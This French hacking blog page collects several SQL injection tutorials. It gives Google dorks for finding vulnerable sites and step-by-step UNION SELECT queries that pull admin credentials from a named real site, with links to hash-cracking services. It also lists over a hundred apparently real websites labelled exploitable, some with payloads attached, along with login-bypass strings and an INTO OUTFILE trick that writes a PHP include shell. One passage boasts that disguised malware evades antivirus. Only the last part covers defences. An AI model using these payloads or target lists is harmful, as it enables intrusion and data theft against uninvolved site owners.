Post Populaire

Affichage des articles dont le libellé est SQL. Afficher tous les articles

Injections SQL


Injections SQL

Sebdelkil vous présente un petit tuto sur l'injection SQL, demandé par notre jolie "Cl4r4h4ck" lectrice depuis deja 4 ans du site Sebdelkil,  vous allez voire que beaucoup de "petit" sites, sont très mal protéger contre ce type de failles!
Google encore une fois, va bien nous aidez, nous allons nous en servir pour trouver les dorks (bien que je vous fournie une bonne petite liste ci dessous), et bien sur trouver les sites, je n'es évidement pas besoins de vous dirent que ce genre d’attaque ne fonctionne pas sur les gros sites comme amazone, le bon coin, la redoute ..... bref....  
Une Injection SQL, c’est un type d’exploitation de faille sur un système interagissant avec une base de données, en injectant une requête pour par exemple, récupérer les Login de la Base De Données....  
Maintenant, nous allons utiliser Google pour trouver des sites vulnérables aux injections SQL.

Pour se faire, cherchez sur google une des lignes ci-dessous :

inurl:aboutbook.php?id=
inurl:age.php?file=
inurl:age.php?id=
inurl:ageid=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:art.php?idm=
inurl:articipant.php?id=
inurl:article.php?ID=
inurl:artikelinfo.php?id=
inurl:avd_start.php?avd=
inurl:band_info.php?id=
inurl:buy.php?category=
inurl:category.php?id=
inurl:channel_id=
inurl:chappies.php?id=
inurl:clanek.php4?id=
inurl:clubpage.php?id=
inurl:collectionitem.php?id=
inurl:communique_detail.php?id=
inurl:curriculum.php?id=
inurl:declaration_more.php?decl_id=
inurl:detail.php?ID=
inurl:download.php?id=
inurl:downloads_info.php?id=
inurl:erson.php?id= inurl:event.php?id=
inurl:faq2.php?id= inurl:fellows.php?id=
inurl:ffer.php?idf= inurl:fiche_spectacle.php?id=
inurl:forum_bds.php?num=
inurl:galeri_info.php?l=
inurl:gallery.php?id=
inurl:game.php?id=
inurl:games.php?id=
inurl:historialeer.php?num=
inurl:hosting_info.php?id=
inurl:humor.php?id=
inurl:index.php?=
inurl:index.php?id=
inurl:index2.php?option=
inurl:iniziativa.php?in=
inurl:item_id=
inurl:kategorie.php4?id=
inurl:labels.php?id=
inurl:lay_old.php?id=
inurl:loadpsb.php?id=
inurl:look.php?ID=
inurl:main.php?id=
inurl:material.php?id=
inurl:memberInfo.php?id=
inurl:news.php?id=
inurl:news_display.php?getid=
inurl:news_view.php?id=
inurl:newscat.php?id=
inurl:newsDetail.php?id=
inurl:news-full.php?id=
inurl:newsid=
inurl:newsitem.php?num=
inurl:newsone.php?id=
inurl:newsticker_info.php?idn=
inurl:offer.php?idf=
inurl:op.php?id=
inurl:opinions.php?id=
inurl:ost.php?id=
inurl:page.php?file=
inurl:page.php?id=
inurl:Pageid=
inurl:pages.php?id=
inurl:participant.php?id=
inurl:person.php?id=
inurl:pinions.php?id=
inurl:play_old.php?id=
inurl:pop.php?id=
inurl:post.php?id=
inurl:preview.php?id=
inurl:prod_detail.php?id=
inurl:prod_info.php?id=
inurl:product.php?id=
inurl:product_ranges_view.php?ID=
inurl:productdetail.php?id=
inurl:productinfo.php?id=
inurl:product-item.php?id=
inurl:produit.php?id=
inurl:profile_view.php?id=
inurl:publications.php?id=
inurl:ray.php?id=
inurl:read.php?id=
inurl:readnews.php?id=
inurl:reagir.php?num=
inurl:releases.php?id=
inurl:review.php?id=
inurl:rod_info.php?id=
inurl:roduct.php?id=
inurl:roduct_ranges_view.php?ID=
inurl:roductdetail.php?id=
inurl:roductinfo.php?id=
inurl:roduct-item.php?id=
inurl:roduit.php?id=
inurl:rofile_view.php?id=
inurl:rub.php?idr=
inurl:rubp.php?idr=
inurl:rubrika.php?idr=
inurl:section.php?id=
inurl:select_biblio.php?id=
inurl:sem.php3?id=
inurl:shop.php?do=part&id=
inurl:shop_category.php?id=
inurl:shopping.php?id=
inurl:show.php?id=
inurl:show_an.php?id=
inurl:showimg.php?id=
inurl:shredder-categories.php?id=
inurl:spr.php?id= inurl:sql.php?id=
inurl:staff_id=
inurl:story.php?id=
inurl:sw_comment.php?id=
inurl:tekst.php?idt=
inurl:theme.php?id=
inurl:title.php?id=
inurl:top10.php?cat=
inurl:tradeCategory.php?id=
inurl:trainers.php?id=
inurl:transcript.php?id=
inurl:tray-Questions-View.php?num=
inurl:ublications.php?id=
inurl:view.php?id=
inurl:view_faq.php?id=
inurl:view_product.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=

inurl:viewshowdetail.php?id=
inurl:website.php?id=
inurlrod_detail.php?id=


Savoir si le site est vulnérable à la faille
Voici un exemple :
Ajoutez un ‘ (quote) apres l’ID
http://www.nessma.tv/news.php?id=145'

Si vous obtenez ceci :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
c’est que le site est vulnérable!
Voilà, maintenant que nous avons trouvé notre site avec la faille, nous allons faire quelques opérations avec.

Trouver la version de SQL
http://www.nessma.tv/news.php?id=145 union all select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15
Ici, 4,5,6,7,8,9,10,11,12,13,14,15 sont les champs vulnérables
Trouver le login/mot de passe de l’admin
Voici le but de cet exploit ! trouver les logins !
http://www.nessma.tv/news.php?id=145 union all select 1,2,group_concat(ru_Admin_Username,0x3a,ru_Admin_Password),4,5,6,7,8,9,10,11,12, ​​ ​13,14,15 from ru_Admin--
Nous allons trouver des résultats de ce genre :   admin:admRIvuxHahkQ 
le mot de passe est crypté en MD5 comme vous pouvez le voir, nous allons donc le décrypter avec des rainbow-tables :
www.md5oogle.com – 6 353 625 hash
www.hashmash.com – 1,611,191 hash
www.md5decryption.com – 872,145 hash
www.md5decrypter.com – 583,441 hash
www.md5decrypter.co.uk – 41,568,541 hash
Tag : , , ,

Trouver des sites Web vulnérable à l'injection SQL

Trouver des sites Web vulnérable à l'injection SQL 

Je vous présente aujourd'hui, le moyen de trouver des vulnérabilitées web, sans dork donc sans google dork ou autres...juste a partire d'un navigateur web Punk-Spider.
Ce petit navigateur web vous montre les  vurnerabilitées BSQLI, SQLI, et XSS, ce qui peut etre bien uttile pour tester votre site web (ou celui du voisin)....

Ouvrez le navigateur proxy  punkspider.hyperiongray.com

Entrez le mot-clé dans le champ de saisie
Dans ce cas, je tape " . com "

Maintenant, vérifier le type vulnérable
Dans ce cas, j'ai vérifié SQLI (Vous pouvez choisir plus d'une "vuln")

Maintenant, appuyez sur le bouton SPIDER.

Enfin, les sites vurnerable apparaîtront Il montre le type d'état vulnérable et risque global comme çeci


Cliquez sur ( Afficher les détails )

Voila , le lien vulnérable, reste plus cas l'exploiter...

Tag : , , ,

Sites Web faillible

(Source Photo)
Sites Web faillible 


Sebdelkil vous proposent une liste de site faillible, ces sites on été récolter au file du temps en scannant le net et je m’aperçois que d’innombrable sites, sont en position de faiblesse vis a vis des "Pirates", rapport a leurs failles, quel quelle  soit !
Albaloo, logiciel utiliser pour scanner tous les sites répertorier dans la liste ci dessous...
je vous file le tuto pour Albaloo, histoire de comprendre comment le pirate a fait pour récupérer autant de sites, ou il peut, si il le souhaite, devenir "administrateur", faire une "deface"  je vous est fais un exemple très rapide de "Déface" Téléchargeable ici .  rester dans l'ombre et voler toutes les informations sensible ou tous simplement poser des lien dans les innombrables pages du site, liens qui serons bien sur viroler jusqu’à l'os, pour vous la foutres bien profond comme si de rien était... Bien profond car une fois l’exécutable Camoufler ensuite le crypter ou modification hexadécimal et pour finir le joindre ou le "binder" a un autre fichier  et le tour est jouer, votre Anti-Virus ni voie que du feu!

Lien pour les sites faillibles avec un logiciel nommé PoisonSQL+Albaloo.

SQL Inject


SQL Inject Me


Sebdelkil vous présente aujourd'hui l'extension Firefox SQL Inject Me, Cet outil fait parti de la suite Exploit Me qui comprend aussi un testeur contre le XSS et les accès aux ressources (ce sont toutes des extensions indépendantes pour Firefox). Tester les vulnérabilités d'une page web au SQL injection.

Créé par la compagnie Security Compass .

L'extension SQL Inject Me permet de soumettre un jeu de tests pré-construit pour voir comment le site réagira. Si la programmation présente des faiblesses, on apercevra les résultats des erreurs 500, l'état des redirections, etc.
j'ai testé le formulaire de login d'un CMS en ASP pour voir ce que ça dénicherait (beaucoup de sites en ASP sous IIS présentent des lacunes en sécurité; ce sont habituellement les plus vulnérables, les plus bavards et les plus faciles à infiltrer) :


Ce que j'ai appris ? Qu'il ne fallait entrer que la chaîne 1' OR '1'='1 dans le champ nom d'usager et mot de passe, ou encore uniquement ' OR username IS NOT NULL OR username = ' dans le champ du nom d'usager pour réussir à me connecter à l'interface de gestion du site web. Et j'ai accès à absolument tout!

Heureusement pour eux, je ne suis pas du genre à profiter de l'opportunité pour saccager leurs données. Tout ce qui m'intéresse, c'est de tester les vulnérabilités existantes et savoir comment les corriger.
Mieux vaut apprendre les techniques de SQL injection si on veut être en mesure d'implémenter correctement le code qui permet de les éviter.
C'est dommage pour les développeurs et leurs clients car ils courent un risque énorme puisque leur plateforme centrale est utilisée pour gérer les données de nombreux sites... Qui sait, le prochain à y pénétrer sera peut-être plus mal intentionné que moi ?

Creative Commons License
Tag : , ,

Listing de sites faillible (injection SQL)




Listing de sites faillible 

Bonjour

vous proposent une liste de sites tous vulnérable au injection SQL, évidement ce n'est pas la NASA ou le MIT, mais, ce listing vous prouve a quelle point, certain site sont vulnérable ! et facile a découvrir avec un simple logiciel... (Regarder le tuto sur Havij)

http://ozscooter.com...log.php?id=20_id=8%27
http://www.omnicable...g.php?id=372%27
http://www.childrens...log.php?Id=4%27
http://www.hiddenmic...og.php?id=27%27
http://www.maarav.or...em.php?id=1111#9001;=HEB'
http://www.itadaki.f...rte.php?id=6%27
http://www.alainlama....php?id=1954%27
http://www.bongresta...rte.php?id=2%27
http://www.wepler.co...ite.php?id=3%27
http://www.pariseven...n.php?id=887%27
http://www.feldgrau....rch.php?ID=1%27
http://www.photoshop-creation.com/tuto_repeindre_moto.php?id=49%27
http://www.kinderman...hp?catid=108%27
http://www.greenroof...w.php?id=364%27
http://www.meca-moto...l.php?id=546%27
http://www.euro-motos.com/fiche_produit.php?id=2%27
http://www.iledelare...res.php?id=1%27
http://www.chantez-o...t.php?ID=427%27
http://www.internati...e.php?id=324%27
http://www.direct-il...s.php?id=154%27
http://www.jazzmuseu...e.php?id=605%27
http://www.atlanticf...ive.php?id=5%27
http://www.jpcs.in/a...ve.php?id=13%27
http://www.mexiqueav...ifs.php?id=9%27
http://www.direct-se...m/v02/fr/hotels_FicheR-tarifs.php?id=312%27
http://www.bethnahri...ve.php?id=98%27
http://www.villadars...fs.php?id=29%27
http://www.motostop3...ifs.php?id=3%27
http://www.hitech-sa...ifs.php?Id=2%27
http://www.eurogites...ang=FR&id=IT%27
http://www.rosscarbe....php?id=mb13%27
http://www.flapartne...ber.php?id=2%27
http://www.swiss.org...er.php?ID=20%27
http://www.creadif.f...ex.php?id=35%27
http://www.aliveouts...d=69&eid=105%27
http://www.skibberee...php?id=mb477%27
http://www.yoganet.f...er.php?id=12%27
http://www.lafla.org...er.php?id=12%27
http://futurewave.fr...tact.php?id=-29+union+select+0,1,2,version%28%29,4,5,6,7,8,9,10,11,12
http://www.bananecoc...ex.php?id=17%27
http://www.golf-brai...r.php?id=100%27
http://www.lahoublon...dex.php?id=3%27
http://www.no2id.net...php?issue=92%27
http://bibvir.uqac.c...on.php?id=16%27
http://www.imaginezm...on.php?id=14%27
http://www.pecs-fran...ion.php?ID=5%27
http://www.tennoil.c...er.php?id=25%27
http://www.solutionf...ers.php?id=4%27
http://www.rockiurba...ers.php?id=3%27
http://www.phoenixfi...ct.php?id=78%27
http://www.hoaxbuste...idArticle=58129'
http://www.protexin....cts.php?id=6%27
http://www.maageetam....php?catid=1%27
http://www.rhinossoc...ges.php?id=1%27
http://www.navanac.i...ges.php?id=1%27
http://neoklimat.ru/pages.php?id=1%27
http://www.einstruct...ial.php?id=1%27
http://www.sochi-int...ang=eng&id=1%27
http://www.sodema-ma...=proddt&id=1%27
http://www.mae-mali....pgid=sn&id=1%27
http://www.multi-coa...ges.php?id=1%27
http://www.arts-dev3...ges.php?id=1%27
http://www.cetic.dz
/isp/pages.php?id=-1+union+select+0,1,2,3,4--
http://www.alfanord....ges.php?id=1%27
http://culturopoing.....php?Id=1159%27
http://www.guevaraga...art.php?id=2%27
http://www.adventist...Dep=84&id=14%27
http://www.tennoil.c...er.php?id=48%27
http://www.perimmob-...php?id=22000%27
http://www.tiboutik.com/boutique_fr/achat/index.php?id=33%27
http://www.mp3-multi...ex.php?id=78%27
http://www.normandie...e.php?id=485%27
http://www.suruneile...ex.php?id=49%27
http://www.diema-mac...ex.php?id=25%27
http://www.ayurvastr...on%20select%201,2,3,4

http://www.librairie...=33&start=10%27
http://www.ksm-produ...anque.php?gamme_id=-&modele_id=36&forme=&tri=id'
http://www.anjou-ser...ex.php?id=18%27
http://www.cdulincre...ex.php?id=20%27
http://www.lalignewa...168&start=24%27
http://www.foiegrasb...ex.php?id=15%27
http://www.savet-dz....ex.php?id=76%27
http://www.wattsport...ex.php?id=89%27
http://www.glaceinli...ex.php?id=90%27
http://www.martynoff...ex.php?id=12%27
http://www.aloecan.c...ex.php?id=17%27
http://www.marseille...ex.php?id=12%27
http://www.premiumwa...x.php?id=172%27
http://www.imdr.eu/v...e=341&id=109%27
http://www.abylon.fr...x.php?catid=119'
http://ecobon.free.f...ex.php?id=86%27
http://www.lespierre...php?catid=30%27
http://www.cosycotto...hp?catid=223%27
http://www.ki-sign.c...ex.php?id=40%27
http://www.pro-secti...dex.php?id=1%27
http://www.abylon.fr...hp?catid=126%27
http://www.ccs-sxm.c...ex.php?id=67%27
http://www.audio7.co...hp?t=0&id=64%27
http://www.argevel.c...dex.php?id=3%27
http://www.discountb...ex.php?id=49%27
http://www.lespierre...php?catid=26%27
http://boutique.karm...dex.php?id=2%27
http://www.pearlacce...hp?catid=118%27
http://www.bulletind...2&annee=2004%27
http://www.opaleaero...ex.php?id=22%27
http://www.bananecoc...ex.php?id=17%27
http://www.bebezh.co...dex.php?id=3%27
http://www.creadif.f...ex.php?id=35%27
http://www.lahoublon...dex.php?id=3%27
http://www.hortiflor...ex.php?id=19%27
http://www.rondson.c...php?catid=45%27
http://www.lamaisond...php?catid=62%27
http://www.palanquee...php?catid=88%27
http://www.beekool.f...hp?catid=176%27
http://www.recette-f...php?catid=16%27
http://mirab.magicgs...11&start=140%27
http://www.seloma-am...ex.php?id=22%27
http://www.europejan...php?catid=25%27
http://auvasedesoiss...php?catid=15%27
http://www.admsport....hp?catid=157%27
http://www.scopemani...hp?catid=116%27
http://www.cafesolex...php?catid=20%27
http://www.natures.c....php?catId=3%27
http://v2.seventhrec...php?catid=19%27
http://www.davidaero....php?catid=7%27+union+select+group_concat%28table_name%29,1+from+information_schema.tables
http://www.lewub.com...php?catid=44%27
http://www.archdioce...s.php?id=851%27+union+select+group_concat%28table_name%29,1+from+information_schema.tables
https://calico.org/page.php?id=5%27
http://www.leslaines...hp?catid=116%27
http://www.hamrobaza...php?catid=22%27
http://www.ouestprov...x.php?id=212%27
http://www.filbleu.f...e.php?id=1-1%27
http://www.chauvigny...ge.php?id=41%27
http://www.kmconcept...php?catid=32%27
http://www.deauville...ge.php?id=26%27
http://www.southwort...e.php?id=100%27
http://www.turkishcu...es.php?ID=31%27
http://www.heimlichi...ge.php?id=34%27
http://www.profilera...php?catid=24%27
http://www.visucom.f...php?catid=47%27
http://www.dragees-d...php?catid=30%27
http://www.inkonline...php?catid=69%27
http://esthetec-fran....php?catid=4%27
http://www.inf-fni.o...ges.php?id=7%27
http://www.williambl...es.php?id=47%27
http://www.issoudun....ge.php?id=45%27
http://www.4roo.com/...atid=16&order=e_14%27
http://www.itmaasia....ews.php?id=1%27
http://www.vaev.com/...hp?catid=103%27
http://www.omct.org/...?id=&lang=fr%27
http://annonces.aero....php?catid=9%27
http://www.ambiances...hp?catID=102%27
http://www.seaandsea....php?catid=3%27
http://www.morganedi...php?catid=65%27
http://www.oeuvrefra....php?catid=2%27
http://www.hawkingte...php?CatID=19%27
http://www.bmz.fr/ac...php?catid=24%27
http://www.simpletro...php?catid=27%27
http://www.mylene.ne....php?catid=4%27
http://www.tonyshop....hp?catid=112%27
http://www.agproduct....php?catid=7%27
http://www.gt2i-comp...hp?catid=400%27
http://www.scopemani...php?catid=52%27
http://www.scopemani...php?catid=70%27
http://www.lahdenmus...n.php?id=241%27
http://www.enpi-info...n.php?id=344%27
http://www.meggitttr...in.php?id=42%27
http://www.enpi-info...n.php?id=402%27
http://www.ittconfer...ain.php?ID=2%27
http://www.lahdenmus...n.php?id=316%27
http://www.alff.info....php?ID=2697%27
http://www.swgalaxie...ex.php?id=%2789+union+select+group_concat%28table_name%29,1+from+information_schema.tables
http://www.salondese...urs.com/v2/post_salon.php?id=20'
http://www.military-...tent.php?id=-73+union+select+group_concat(table_name),1+from+information_schema.tables
http://www.elreloj.com/article.php?id='13798
http://www.harrisbur...article.php?id='416
http://www.vino-conc...113&language=-1+union+select+all+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Tag : ,

Hé encore du SQL (à la main)



Beaucoup de personnes utilisent Havij, sans même savoir comment ce programme fonctionne, ou plutôt, sans savoir comment une injection SQL peut se faire. Même si l'utilisation d'un logiciel d'automatisation d'injection SQL se révèle très utile (plus rapide, pas de codage etc..) Je trouve que l'on a plus de fierté quand c'est fait à la main. On est jamais mieux servis que pas sois-même ! lol

# Chapitre I - Définition :

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité.

Cette faille apparaît lorsqu'il est possible d'injecter (c'est à dire, d'insérer) du code SQL dans les requêtes SQL qui sont intégrés dans une page web. Les conséquences d'une faille SQL peuvent être multiples, vol des donnés utilisateurs (Email, date de naissance..), mais également, vol des comptes (utilisateurs ou admin) ou encore obtention des codes de Carte Bancaire si il s'agit d'un site de commerce en ligne.

# Chapitre II - Explications et manipulations en temps réel :

http://www.site-web....tegory.php?id=1

Ici on voit bien que la variable id est en format GET dans mon url, et ce, par l’intermédiaire de id=1.

Dans un premier temps on test l'url pour savoir si elle est faillible à l'injection SQL. Pour ce faire, on ajoute la quote suivante tout à la fin de l'url : '

Sois ici :

http://www.site-web.com/category.php?id=1'

Si rien ne se passe, considérez que ce n'est pas possible pour aujourd’hui.

Cependant, si vous obtenez une erreur de ce type... :

You have an error in your SQL Syntax
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

... cela signifie que le site est potentiellement vulnérable. Vous pouvez considérer que l'on est en bonne voie et donc, nous allons continuer ! 

Maintenant nous allons faire afficher le nombre de colonnes contenues dans la table : pour cela on peu utiliser la syntaxe SQL GROUP BY en fin de requête, de cette manière et en fonction du résultat nous modifierons la requête :

(notez que pour faire cette nouvelle requête, on enlève la quote ajouté lors de la première étape)

http://www.site-web.com/category.php?id=1 GROUP BY 1-- pas d'erreur
http://www.site-web.com/category.php?id=1 GROUP BY 100-- erreur
http://www.site-web.com/category.php?id=1 GROUP BY 50-- erreur
http://www.site-web.com/category.php?id=1 GROUP BY 10-- pas d'erreur
http://www.site-web.com/category.php?id=1 GROUP BY 11-- erreur

Ici, nous pouvons en conclure que le nombre de colonnes est égal à 10, puisque nous obtenons une erreur à la 11ème requête "GROUP BY 11"

Grâce à cette info obtenue, nous allons pouvoir afficher le nom des colonnes, le nom des BDD (Bases De Données) qui sont présents sur le serveur, la version de la base SQL, les utilisateurs etc...

A) Utilisation de la syntaxe UNION :


UNION est implémentée en MySQL 4.0.0. L'objectif de la commande UNION de SQL est de pouvoir combiner l'ensemble les résultats de deux requêtes. On peut donc insérer n'importe quelle requête à la suite.

Les colonnes listées dans la partie select_expression du SELECT doivent être du même type (int, varchar...). Les noms de colonnes utilisés dans le premier SELECT seront utilises comme nom de champ pour les résultats retournés.

http://www.site-web.com/category.php?id=1 UNION 1,2,3,4,5,6,7,8,9,10--

Les chiffres 1,2,3,4,5,6,7,8,9,10 ne sont là que pour figuration j'aurais bien pu mettre 0,0,0,0,0,0 dix fois !!!! Le résultat devra être une page sans erreur, auquel cas la base ne supporte pas le statement UNION.

A ce stade on va ajouter un signe - devant le 1

Comme l'id -1 n'existe pas dans la base, les champs sélectionnés avec l'UNION seront retournés (1,2,3,4,5,6,7,8,9,10), à la place de ces derniers, l'attaquant peut sélectionner des données de n'importe quelle table.

Pour obtenir la version :

http://www.site-web.com/category.php?id= -1+UNION+SELECT+1,@@version,3,4,5,6,7,8,9,10--

Ou encore :

http://www.site-web.com/category.php?id= -1+UNION+SELECT+1,concat(version()),3,4,5,6,7,8,9,10--


Pour la liste des bases:

http://www.site-web.com/category.php?id=-1+UNION+SELECT+group_concat(schema_name),2,3+%20from+information_schema.schemata--

La base qui est utilisé actuellement :

http://www.site-web.com/category.php?id= -1+UNION+SELECT+concat(database()),2,3+%20from+information_schema.schemata--


Pour l'utilisateur:

http://www.site-web.com/category.php?id= -1+UNION+SELECT+user(),2,3+%20from+information_schema.schemata--


Pour la liste des tables de la bases :

http://www.site-web.com/category.php?id= -1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--


Pour la liste des champs de la table on dois convertir le nom de la table en hexadécimal (utilisez ça : http://www.string-fu...string-hex.aspx )

Le nom de ma table est test_table ce qui donne en hexa 746573745f7461626c65 sans oublier le 0x pour informer la base qu'il s'agit bien de l'hexadecimal.

http://www.site-web.com/category.php?id= 1 union select 1,column_name,3 from information_schema.columns where table_name=0x746573745f7461626c65 --

Maintenant qu'on connais le nom des champs, on peux deviner leur valeur : 

http://www.site-web.com/category.php?id= 1%20union%20select%201,concat(id,name,pass),3%20from%20testaa--


B ) La fonction OUTPUTFILE :

Grâce à cette fonction, on peut exporter la liste des résultats du select.

La fonction INTO OUTFILE écrira (par défaut) dans le dossier lib\mysql\nomdelatable le fichier contenant la sortie du select. 

(Attention à bien replacer le fichier dans le répertoire www, sans quoi vous ne pourrez le consulter) 


http://www.site-web.com/category.php?id= $sql="select login,pass from admin INTO OUTFILE 'path/file.txt' ";


Imaginons maintenant, un login contenant :

' OR 'X'='X' INTO OUTFILE'../../www/file.txt'#

Ce qui donne comme requête:

http://www.site-web.com/category.php?id= $sql="select login,pass from admin where login='' OR 'X'='X' INTO OUTFILE '../../www/file.txt'#' and pass='$pass'";

On va aller à la racine du serveur pour rechercher notre fichier file.txt et on obtiendra les identifiants et logs de connexion.

http://www.site-web.com/category.php?id= login: ' UNION SELECT "<?php@include($ma_variable);?>","0" from admin INTO OUTFILE'../../www/file.text'/*

Le code php sera ainsi enregistré dans file.text, Vous pourrez le consulter et modifier $ma_variable par une valeur que vous souhaitez.

Le tuto s'arrete ici, mais avec tout ça, vous devriez comprendre un peux mieux ce qui se passe quand vous cliquez sur le bouton "Analyse" d'havij ... :rolleyes:



Source d'inspiration : http://adsltele.free...jection-sql.php 
Tag : ,

encore du SQL !!!!

PARTIE 1

Hello,
Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:

* Les injections SQL basiques
* SQL Injection avancée
* Blind SQL Injection

Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!

Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!

Alors c’est parti =)

SQL Injection, c’est quoi ?

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :

* Bypasser une authentification
* Lire des données sensibles depuis les tables mySQL
* Injecter le nom et le schéma de la base de données
* Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Comment repérer une injection SQL?

Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
Et oui! c’est ça, merci mysql_error =)
Et si on passe aux exemples?

Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :

Bypasser une identification:

Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:


Code :

// page processlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'") or die(mysql_error());
if(mysql_num_rows($sql) == 1)
{
echo "Bienvenue $username dans votre espace membre!";
}
else
{
echo "Nom d'utilisateur et/ou mot de passe incorrecte";
}

Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :

Quote:
SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’
Exemple 2:

//...
$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");

Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’='a, le principe est de toujours forcer la requête à retourner true :)

Injecter des données depuis une table

On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!

la commande UNION, elle existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, les champs des différents SELECT doivent avoir le même nombre et le même type!

Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET

Quote:
Code :

mysql_connect("localhost","root","");
mysql_select_db("test");
$user_id = $_GET['id'];
$sql = mysql_query("SELECT usernamen, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error());
if(mysql_num_rows($sql) > 0)
{
$data = mysql_fetch_object($sql);
echo "
<fieldset>
<legend>Profile de ".$data->username."</legend>
<p>Nom d'utilisateur : ".$data->username."</p>
<p>Nom et prénom : ".$data->nom." " .$data->prenom ."</p>
<p>Adresse email : ".$data->email."</p>
</fieldset>";
}
Sans connaitre le code qui s’exécute derrière un attaquant peut détecter la présence d’une injection sql en essayant d’interrompre la requête en accèdent à la page : profile.php?id=1′, le fameux message d’erreur s’affiche, l’attaquant passe à l’étape suivante, qui est l’identification de nombre des champs utilisés dans le SELECT

La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur

* profile.php?id=1 order by 1 [OK]
* profile.php?id=2 order by 2 [OK]
* profile.php?id=3 order by 3 [OK]
* profile.php?id=4 order by 4 [OK]
* proile.php?id=5 order by 5 [ERREUR]

A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!

Quote:
profile.php?id=-1 UNION SELECT 1,2,3,4–
là on peut bien voir les chiffres s’afficher au lieu des données vu que l’id -1 n’existe pas dans la base, du coup les champs sélectionné dans l’UNOIN seront retourné (1,2,3,4), à la place de ces derniers l’attaquant peut sélectionner des données de n’importe quelle table sur laquelle l’utilisateur sql courant a les droits

Exemple : 

Quote:
profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user
Il est facile pour un attaquant de deviner le nom des tables, d’ailleurs il existe des listes de tables sensibles susceptibles d’exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d’injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!

Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!

Comment se protéger?

Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :

Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :

$user_id = intval($_GET['id']);

et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval() et ainsi de suite..

Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)

Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!


PARTIE 2

Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l’épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d’erreurs et injecter des données depuis la base de données!

Aujourd’hui on verra de plus prêt le danger réel que représente une injection SQL sur un site, l’objectif est que tout développeur web aie conscience du risque encouru que resprésente une Injection SQL, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)

Savez vous qu’avec une injection SQL un attaquant peut:

* Récupérer les noms des tables et des champs et injecter des données sensibles
* Injecter un paramètre dans une entête HTTP
